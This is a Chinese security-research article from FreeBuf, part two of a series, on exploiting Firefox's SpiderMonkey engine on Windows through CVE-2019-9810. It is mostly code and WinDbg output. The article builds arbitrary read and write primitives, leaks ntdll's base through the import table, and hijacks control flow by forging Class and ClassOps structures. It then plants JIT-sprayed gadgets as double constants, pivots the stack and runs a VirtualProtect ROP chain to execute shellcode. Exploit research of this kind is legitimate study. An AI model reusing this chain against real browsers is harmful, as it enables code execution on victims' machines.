Firefox漏洞利用研究(二)
2020-03-11 14:00:49 Author: www.freebuf.com(查看原文) 阅读量:201 收藏

前言

在Linux的js shell环境下利用成功了之后,我不禁开始思考,为什么每次都是在Linux环境下拿到一个shell呢?从一个CTF成长为一名真正的黑客还有多少路需要走?征服Windows环境下的漏洞利用真的有想像中那么难吗?好吧,不尝试一下怎么可能知道。不要做一个只会动嘴皮的“学术大佬”,让我们动手试试。

调试

环境的不同导致的第一个问题就是怎么样去调试。我们知道在Linux下面可以通过gdb以及python辅助的gdb脚本进行调试,可以很方便的。但是在windows下面只有windbg这个工具供我们使用。因此,适应这个调试器,是我们首先要做的事情。首先在windows 10应用商店当中下载Windbg Preview版本,然后选择Launch executable(advanced),设定可执行文件为js.exe,参数为test.js,同时设置起始文件夹为js.exe所在的目录。

我们可以通过一个简单的例子来了解一下Windbg的使用。对于如下的代码

Smalls = new Array(8);
UA = new Uint32Array(4);
Smalls[0] = 1;
Smalls[1] = 0x1337;
dumpObject(Smalls);
dumpObject(UA);

console.log("hello world");

首先在Windbg当中设置断点bp js!Print。然后执行,会发现程序在js!Print函数的开始处停止。并直接输出了dumpObject的结果

0:000> g
ModLoad: 00007ff9`0db30000 00007ff9`0db41000   C:\Windows\System32\kernel.appcore.dll
object 3addc9502208
  global 91660e80060 [global]
  class 7ff702de3f88 Array
  group 91660e7dd00
  flags:
  proto <Array object at 91660ea8040>
  properties:
    "length" (shape 91660e987e8 permanent getterOp 7ff7023f6b40 setterOp 7ff7023f6af0)
  elements:
      0: 1
      1: 4919
object 3addc9502288
  global 91660e80060 [global]
  class 7ff702e0ca60 Uint32Array
  group 91660e7de80
  flags:
  proto <Uint32ArrayPrototype object at 91660e831e0>
  private 3addc95022c8
  reserved slots:
      0 : null
      1 : 4
      2 : 0
  properties:
Breakpoint 0 hit
js!Print:
00007ff7`0237fb90 53              push    rbx

可以在View菜单当中选择在界面中增加DissemblyRegisters两个选项卡,查看反汇编代码以及寄存器的信息。根据上面输出的信息可以得出,代码中创建的Array数组在内存中的位置为00003addc9502208,代码中创建的Uint32Array数组在内存中的位置为3addc9502288。两个数组之间相距0×80,这和我们之前在Linux环境下看到的数组之间的间隔不同。通过dqs命令看一下内存中的数据分布情况,发现数组的backing buffer地址为3addc9502238。这个地址中存放的数据就是存放在Array数组当中的数据。

另外,紧跟着这个Array类型数组的后面是一个Uint32Array类型的数组,与Array类型数组不同的是,在js::NativeObject这个类型的结构体当中,多了一个elements_的属性。这个属性存储的是js!emptyElementsHeader+0x10。这个属性中的值指向了js.exe程序的.rdata段。如果能够泄漏这个属性当中的内容,就能够计算出js.exe在系统中的加载地址。

除了elements_的属性之外,紧接着后面分别是BUFFER_SLOTLENGTH_SLOTBYTEOFFSET_SLOT,以及DATA_SLOT。其中DATA_SLOT直接指向了后面8个字节的内容。指向的内存地址在同一页当中。

0:000> dqs 3addc9502208 l20
00003add`c9502208  00000916`60e7dd00
00003add`c9502210  00000916`60e987e8
00003add`c9502218  00000000`00000000
00003add`c9502220  00003add`c9502238
00003add`c9502228  00000002`00000000
00003add`c9502230  00000008`0000000a
00003add`c9502238  fff88000`00000001
00003add`c9502240  fff88000`00001337
00003add`c9502248  2f2f2f2f`2f2f2f2f
00003add`c9502250  2f2f2f2f`2f2f2f2f
00003add`c9502258  2f2f2f2f`2f2f2f2f
00003add`c9502260  2f2f2f2f`2f2f2f2f
00003add`c9502268  2f2f2f2f`2f2f2f2f
00003add`c9502270  2f2f2f2f`2f2f2f2f
00003add`c9502278  2f2f2f2f`2f2f2f2f
00003add`c9502280  2f2f2f2f`2f2f2f2f
00003add`c9502288  00000916`60e7de80
00003add`c9502290  00000916`60eb34e8
00003add`c9502298  00000000`00000000
00003add`c95022a0  00007ff7`02dfa2c0 js!emptyElementsHeader+0x10
00003add`c95022a8  fffa0000`00000000 BUFFER_SLOT
00003add`c95022b0  fff88000`00000004 LENGTH_SLOT
00003add`c95022b8  fff88000`00000000 BYTEOFFSET_SLOT 
00003add`c95022c0  00003add`c95022c8 DATA_SLOT

任意地址读

在大致熟悉了Windbg调试器的使用方式了之后就可以开始继续进行漏洞利用了。这里使用的例子依然是最开始时我们用的CVE-2019-9810的漏洞。这个漏洞的详细分析有很多的文章都已经介绍过了,这里就不过多赘述。我们想要达到的效果仅仅是通过这个漏洞,熟悉Windows环境下浏览器软件的漏洞利用流程。

现代的操作系统,无论是Linux还是Windows,由于地址随机化的加入,漏洞利用首先要完成的都是要想办法泄漏程序或者dll的加载地址。以此为依据计算想要使用的函数地址,构造ROP实现任意代码执行。

这里的做法是首先找到和Biggie数组(之前已经将其长度修改成了0×42424242)相邻的数组。首先因为Uint32Array数组在存储数据的时候会先找到对应的DATA_SLOT然后通过DATA_SLOT加上index*4的值获得要存储数据的地址。因此只要通过这个Biggie数组向后越界修改后面的一个数组的长度属性。然后再通过find找到后面这个数组就能够完全掌控后面相邻数组的raw_data了。掌握后面这个Uint32Arrayraw_data之后就能够修改其DATA_SLOT中的数据从而能够从你写进去的地址读取数据。当然,前提是你写进去的数据地址是合法的,如果这个地址是非法的话会造成程序直接崩溃。具体的操作方法如下:

function read(lo, hi){
    Biggie[42 + 4] = lo;
    Biggie[42 + 5] = hi;
    return [AdjacentArray[0], AdjacentArray[1]]
}

因为Biggie[42]中是下一个相邻Array的长度属性,因此Biggie[42 + 4]Biggie[42 + 5]中存储的就是下一个相邻的Array的DATA_SLOT数据。修改了这里的两个数值之后读取AdjacentArray[0]中的内容就能够直接获得任意地址中的数据。

任意地址写

与任意地址读的原因相同,在修改了DATA_SLOT之后对AdjacentArray[0]赋值就能够做到任意地址写。当然,需要注意的是,因为AdjacentArray是一个Uint32Array类型的数组,所以任意地址写的内容是一个32位的数。

function write(lo, hi, v){
    Biggie[42 + 4] = lo;
    Biggie[42 + 5] = hi;
    AdjacentArray[0] = v;
}

读什么地方

这个问题是让人比较困扰的一个问题,因为在Linux环境下,调用的动态链接函数地址会存储在二进制程序的GOT段当中,读取了这个地方就能够泄漏动态链接库的函数地址,从而计算出动态链接库的加载地址。但是显然在Windows环境下, 程序没有GOT段,那么应该读什么地方呢?是否有一个地方在读取了之后会和读取程序的GOT段有同样的效果,能够计算出程序动态链接库加载地址的值。

首先通过dh -a js命令查看js.exe加载了哪些dll当中的函数。其中有一个引人注意的部分是

 _IMAGE_IMPORT_DESCRIPTOR 00007ff680495890
    KERNEL32.dll
      00007FF680496588 Import Address Table
      00007FF680495BE0 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference

可以看到他当中存在一个kernel32的IAT表。在这个表中存储的是kernel32以及ntdll这两个动态链接库中函数真实地址。在漏洞利用的过程中,可以直接读取表中的ntdll!RtlDeleteCriticalSection值,并计算出ntdll库的加载基址。

0:000> dqs 00007FF680496588
00007ff6`80496588  00007ffe`d75bf260 ntdll!RtlAddVectoredExceptionHandler
00007ff6`80496590  00007ffe`d7391b80 KERNEL32!CloseHandle
00007ff6`80496598  00007ffe`d738ecf0 KERNEL32!ConnectNamedPipe
00007ff6`804965a0  00007ffe`d7391bd0 KERNEL32!CreateEventA
00007ff6`804965a8  00007ffe`d7391c00 KERNEL32!CreateEventW
00007ff6`804965b0  00007ffe`d7391df0 KERNEL32!CreateFileA
00007ff6`804965b8  00007ffe`d738a8a0 KERNEL32!CreateFileMappingA
00007ff6`804965c0  00007ffe`d73c9870 KERNEL32!CreateNamedPipeA
00007ff6`804965c8  00007ffe`d7572b40 ntdll!RtlDeleteCriticalSection
00007ff6`804965d0  00007ffe`d755b390 ntdll!RtlEnterCriticalSection

任意代码执行

泄漏出ntdll的地址之后,就要想办法做到任意代码执行了。与Linux环境下不同的是,这里没有environ的环境变量,无法直接泄漏出栈的地址。因此,想要得到任意代码执行的能力还必须劫持程序的控制流。这里提供一种可供参考的控制流劫持方式,修改classOps属性。

还是通过最开始的那个例子,这次我们仔细看看内存中分别存储了一些什么内容。

object 2ebf86102288
  global 1cfdf0d80060 [global]
  class 7ff68036ca60 Uint32Array
  group 1cfdf0d7de80
  flags:
  proto <Uint32ArrayPrototype object at 1cfdf0d831e0>
  private 2ebf861022c8
  reserved slots:
      0 : null
      1 : 4
      2 : 0
  properties:
Breakpoint 0 hit
0:000> dt js!js::Class 7ff68036ca60
   +0x000 name             : 0x00007ff6`8043ee11  "Uint32Array"
   +0x008 flags            : 0x75200303
   +0x010 cOps             : 0x00007ff6`8036c6c0 js::ClassOps
   +0x018 spec             : 0x00007ff6`8036c860 js::ClassSpec
   +0x020 ext              : 0x00007ff6`8036c960 js::ClassExtension
   +0x028 oOps             : (null)
0:000> dt js!jsClassOps 0x00007ff6`8036c6c0
   +0x000 addProperty      : (null)
   +0x008 delProperty      : (null)
   +0x010 enumerate        : (null)
   +0x018 newEnumerate     : (null)
   +0x020 resolve          : (null)
···

当修改了addProperty的内容之后再添加属性(UA.aaa = 1;),能够劫持程序的控制流。

0:000> eq 00007ff6`8036c6c0 0xdeaddeaddeadbeef
0:000> g
(d3c.f1c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
js!js::NativeSetProperty<js::Qualified>+0x2c5f:
00007ff6`7face48f ffd7            call    rdi {deaddead`deadbeef}

这里在我们获得了任意地址读写的能力之后,一种有效的做法是伪造js::NativeObject结构体,以及他的属性值。这里有的小伙伴可能会问了,为什么要伪造,而不是直接写。这是因为这个addProperty的地址是不可写的。图片

具体要伪造的数据内容如图所示,一个TypedArrayClass结构体以及一个ClassOps的结构体。然后将原有的结构体中的数据复制到这个位置当中,之后修改掉group当中存放的内容,以及shape指向的fake data当中存放的内容。构造的具体代码如下:

const Target = new Uint8Array(90);
[target_lo, target_hi] = addrof(Target);
target_hi -= 0xfffe0000;
log(target_lo, target_hi);
[target_group_lo, target_group_hi] = read(target_lo, target_hi);
log(target_group_lo, target_group_hi);
[target_class_lo, target_class_hi] = read(target_group_lo, target_group_hi);
log(target_class_lo, target_class_hi);
[target_cops_lo, target_cops_hi] = read(target_class_lo + 0x10, target_class_hi);
log(target_cops_lo, target_cops_hi);

[target_shape_lo, target_shape_hi] = read(target_lo + 8, target_hi);
log(target_shape_lo, target_shape_hi);
[target_base_lo, target_base_hi] = read(target_shape_lo, target_shape_hi);
log(target_base_lo, target_base_hi);

const MemoryBackingObject = new Uint32Array(0x88/4);
[MemoryBackingObject_lo, MemoryBackingObject_hi] = addrof(MemoryBackingObject);
MemoryBackingObject_hi -= 0xfffe0000;
[MemoryBackingAddress_lo, MemoryBackingAddress_hi] = read(MemoryBackingObject_lo + 0x38, MemoryBackingObject_hi);
log(MemoryBackingAddress_lo, MemoryBackingAddress_hi);

//we will make fake class object in this backing buffer
ClassBackingAddress_lo = MemoryBackingAddress_lo;
ClassBackingAddress_hi = MemoryBackingAddress_hi;
// 0:000> ?? sizeof(js!js::Class)
// unsigned int64 0x30
ClassOpsBackingAddress_lo = MemoryBackingAddress_lo + 0x30;
ClassOpsBackingAddress_hi = MemoryBackingAddress_hi;

//now we copy the original class contents into the backing buffer
MemoryBackingObject.set(readn(target_class_lo, target_class_hi, 0x30 / 4), 0);
MemoryBackingObject.set([ClassOpsBackingAddress_lo, ClassOpsBackingAddress_hi], 0x10 / 4);
//now we copy the original classops contents into the backing buffer
MemoryBackingObject.set(readn(target_cops_lo, target_cops_hi, 0x50 / 4), 0x30 / 4);
MemoryBackingObject.set([0xdeadbeef], 0x30 / 4);

//overwrite the target classp
write(target_group_lo, target_group_hi, ClassBackingAddress_lo);
write(target_group_lo + 4, target_group_hi, ClassBackingAddress_hi);
write(target_base_lo, target_base_hi, ClassBackingAddress_lo);
write(target_base_lo + 4, target_base_hi, ClassBackingAddress_hi);

Target.aaa_bbb = 1;

栈迁移

0:000> g
ModLoad: 00007ffe`98dd0000 00007ffe`98de1000   C:\Windows\System32\kernel.appcore.dll
(224.1784): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
js!js::NativeSetProperty<js::Qualified>+0x2c5f:
00007ff6`bd77e48f ffd7            call    rdi {deadc0de`deadbeef}

现在我们有了控制RIP一次跳转的机会,但这还不够。还需想办法执行ROP或者最好能够直接执行shellcode。这就需要我们再做一次栈迁移,以便将执行流转到我们的ROP或者shellcode上。总结一下目前可以实现的功能:

1.知道内存中对象存储在什么地址

2.有办法控制程序的执行流

3.有空间存储利用链,并且没有任何的限制

为了弄清楚我们现在可以做一些什么,首先可以看一下在到达任意代码执行时,寄存器的状态和内容。

0:000> r
rax=fff8800000000000 rbx=000000e913dfec90 rcx=000002dc43e18000
rdx=000000e913dfec90 rsi=000002dc43e18000 rdi=deadc0dedeadbeef
rip=00007ff6bd77e48f rsp=000000e913dfe800 rbp=0000000000000000
 r8=000000e913dfea60  r9=000002dc43ecf0b0 r10=000000000000009a
r11=0000000000000000 r12=000000e913dfea60 r13=00000ce1a231e498
r14=0000000000000001 r15=00000351701b40a0

1.r8寄存器指向的内容是一个string类型的结构体,这个结构体中存储的字符串是我们新增的这个属性的字符串

2.rdx中存储的是Target这个Uint8Array类型的Array,同样rbx寄存器当中也存储了这个Array结构体的地址

3.r9当中存储的是我们要新增的属性的值,这里是1

但是当我在内存中查找的时候没有找到能够使用的靠谱gadgets,ggwp。我们需要尝试一些其他的方法才行。

这里采用的方法是让引擎编译函数的时候创建出我们需要的gadgets,在内存中写入我们需要的gadget。对于下面的这个例子而言,在编译完成之后内存中会产生对应的汇编代码。

const BringYourOwnGadgets = function () {
    const A = -1.1885958399657559e+148;
    const B = -1.1885958399657559e+148;
    const C = -1.1885958399657559e+148;
    const D = -1.1885958399657559e+148;
    const E = -1.1885958399657559e+148;
};
for(let Idx = 0; Idx < 12; Idx++) {
    BringYourOwnGadgets();
}
000003ed`90972578 49bbdec0adbaefbeadde mov r11,0DEADBEEFBAADC0DEh
000003ed`90972582 4c895dc8        mov     qword ptr [rbp-38h],r11

因为这一段内存是可以执行的,所以这样一来,我们在内存中有了8个字节的shellcode可以使用。通过这些小段gadgets能够将栈迁移到我们想要的位置上。基本上我们需要的gadgets有下面两种:

1.xchg rsp, rdx / mov rsp, qword ptr [rsp] / mov rsp, qword [rsp+38h] / ret

2.设置好调用kernel32!VirtualProtect函数的寄存器参数pop rcx / pop rdx / pop r8 / pop r9 / ret

构造如下的函数:

const BringYourOwnGadgets = function () {
    const Magic = -1.1885958399657559e+148;
    const PopRegisters = -6.380930795567661e-228;
    const Pivot0 = 2.4879826032820723e-275;
    const Pivot1 = 2.487982018260472e-275;
    const Pivot2 = -6.910095487116115e-229;
};

其中Magic是0xdeadbeefbaadc0de这个数字的double类型表示。通过在内存中搜索这个值找到JITed code的地址。这样我们就获得了我们想要的gadgets,虽然这些gadgets最长只有8个字节,但是对于我们想要构造的内容已经完全足够了。接下来只需要将ropchain写到Target数组的buffer空间当中去即可。

const ropchain = new Uint32Array([
    Pop_lo, Pop_hi,
    ShellCodeBuffer_lo, ShellCodeBuffer_hi,
    Shellcode.length, 0,
    0x40, 0,
    target_buffer_lo, target_buffer_hi,
    virtualprotect_lo, virtualprotect_hi,
    ShellCodeBuffer_lo, ShellCodeBuffer_hi
]);

Target.set(ropchain, offset2rop);

在ROP执行完毕之后就能够执行任意的shellcode了。

*本文原创作者:Kriston,本文属FreeBuf原创奖励计划,未经许可禁止转载


文章来源: https://www.freebuf.com/articles/network/227130.html
如有侵权请联系:admin#unsafe.sh